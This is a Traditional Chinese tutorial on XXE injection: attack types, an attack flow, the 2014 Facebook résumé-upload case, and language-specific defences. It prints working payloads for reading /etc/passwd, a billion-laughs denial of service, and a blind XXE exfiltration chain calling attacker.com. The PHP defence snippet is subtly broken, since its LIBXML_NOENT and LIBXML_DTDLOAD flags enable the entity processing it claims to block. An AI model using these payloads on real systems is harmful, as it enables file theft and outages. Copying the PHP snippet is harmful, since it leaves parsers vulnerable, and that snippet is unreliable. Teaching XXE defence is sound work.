XML 外部實體 (XXE) 注入
1. 定義
XML 外部實體 (XXE) 注入 是一種針對解析 XML 輸入的應用程式的漏洞。它利用 XML 的一個稱為「外部實體」的特性來:
- 讀取伺服器上的任意檔案
- 執行伺服器端請求偽造 (SSRF)
- 執行阻斷服務攻擊
- 在某些情況下實現遠端程式碼執行
當 XML 解析器被設定為處理外部實體宣告(可以參照本機檔案或遠端 URL)時,就會出現 XXE 漏洞。
2. 技術原理
XML 允許定義實體作為內容的捷徑。外部實體可以參照 XML 文件外部的內容。
基本 XML 實體語法:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY myEntity "Hello World">
]>
<root>&myEntity;</root>外部實體 (XXE) 載荷:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>解析時,&xxe; 會被替換為 /etc/passwd 的內容。
常見的 XXE 攻擊類型:
- 檔案洩露: 讀取敏感檔案(
/etc/passwd、設定檔、原始碼)。 - SSRF: 向內部服務發起請求(
http://169.254.169.254/)。 - 盲 XXE: 當輸出不返回時,透過帶外通道洩露資料。
- 十億笑聲 (DoS): 指數級擴展的實體使解析器當機。
十億笑聲攻擊:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>這個小載荷在記憶體中會擴展到數 GB 的資料。
3. 攻擊流程
sequenceDiagram
participant Attacker as 攻擊者
participant WebApp as Web 應用程式
participant XMLParser as XML 解析器
participant FileSystem as 檔案系統
Attacker->>WebApp: POST /api/upload<br/>Content-Type: application/xml
Note over Attacker: 包含外部實體定義的<br/>XML 載荷
WebApp->>XMLParser: 解析 XML 輸入
XMLParser->>XMLParser: 處理 DOCTYPE 宣告<br/>發現外部實體
XMLParser->>FileSystem: 讀取 file:///etc/passwd
FileSystem-->>XMLParser: 返回檔案內容
XMLParser-->>WebApp: 解析後的 XML 包含檔案內容
WebApp-->>Attacker: 回應包含 /etc/passwd4. 真實案例:Facebook XXE (2014)
目標: Facebook 招聘入口網站。 漏洞類別: 透過 Word 文件上傳的盲 XXE。
漏洞背景: Facebook 的招聘頁面允許用戶上傳履歷。該應用程式接受 .docx 檔案,這實際上是包含 XML 檔案的 ZIP 壓縮檔。處理這些檔案的 XML 解析器啟用了外部實體處理。
攻擊過程: 安全研究員 Mohamed Ramadan 發現:
.docx檔案包含 XML 檔案(例如word/document.xml)。- 他製作了一個在 XML 中包含 XXE 載荷的惡意
.docx。 - 載荷參照了他控制的外部 URL。
- 當 Facebook 解析文件時,它向他的伺服器發起了請求。
盲 XXE 資料洩露: 由於檔案內容沒有直接返回,他使用參數實體來洩露資料:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>外部 DTD(evil.dtd)包含:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;影響: 這允許讀取 Facebook 伺服器上的任意檔案。Mohamed 獲得了 33,500 美元的獎金,Facebook 透過停用外部實體處理修復了該漏洞。
5. 深度防禦策略
A. 停用外部實體處理
最有效的防禦是完全停用外部實體。
Java (DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python (lxml):
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)PHP:
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);.NET:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);B. 使用更簡單的資料格式
如果可能,避免對用戶輸入使用 XML。
- JSON: 沒有實體處理功能。
- YAML: 更簡單的結構(但有其自身的安全問題)。
- Protocol Buffers / MessagePack: 沒有這些風險的二進位格式。
C. 輸入驗證
如果必須使用 XML,請驗證和清理輸入。
- Schema 驗證: 使用 XSD 強制執行結構。
- 剝離 DOCTYPE: 移除或拒絕包含 DOCTYPE 宣告的 XML。
- Content-Type 檢查: 確保上傳的檔案與預期類型相符。
D. Web 應用程式防火牆 (WAF)
設定 WAF 規則以偵測 XXE 模式。
- 阻止包含
<!ENTITY、<!DOCTYPE、SYSTEM、PUBLIC的請求。 - 注意攻擊者可能使用編碼來繞過簡單的模式比對。
E. 最小權限
限制 XML 解析器的存取權限。
- 檔案系統: 在具有最小檔案存取權限的沙箱環境中執行解析器。
- 網路: 阻止 XML 處理服務的出站連線。
- 用戶權限: 解析器處理程序不應以 root 身分執行。
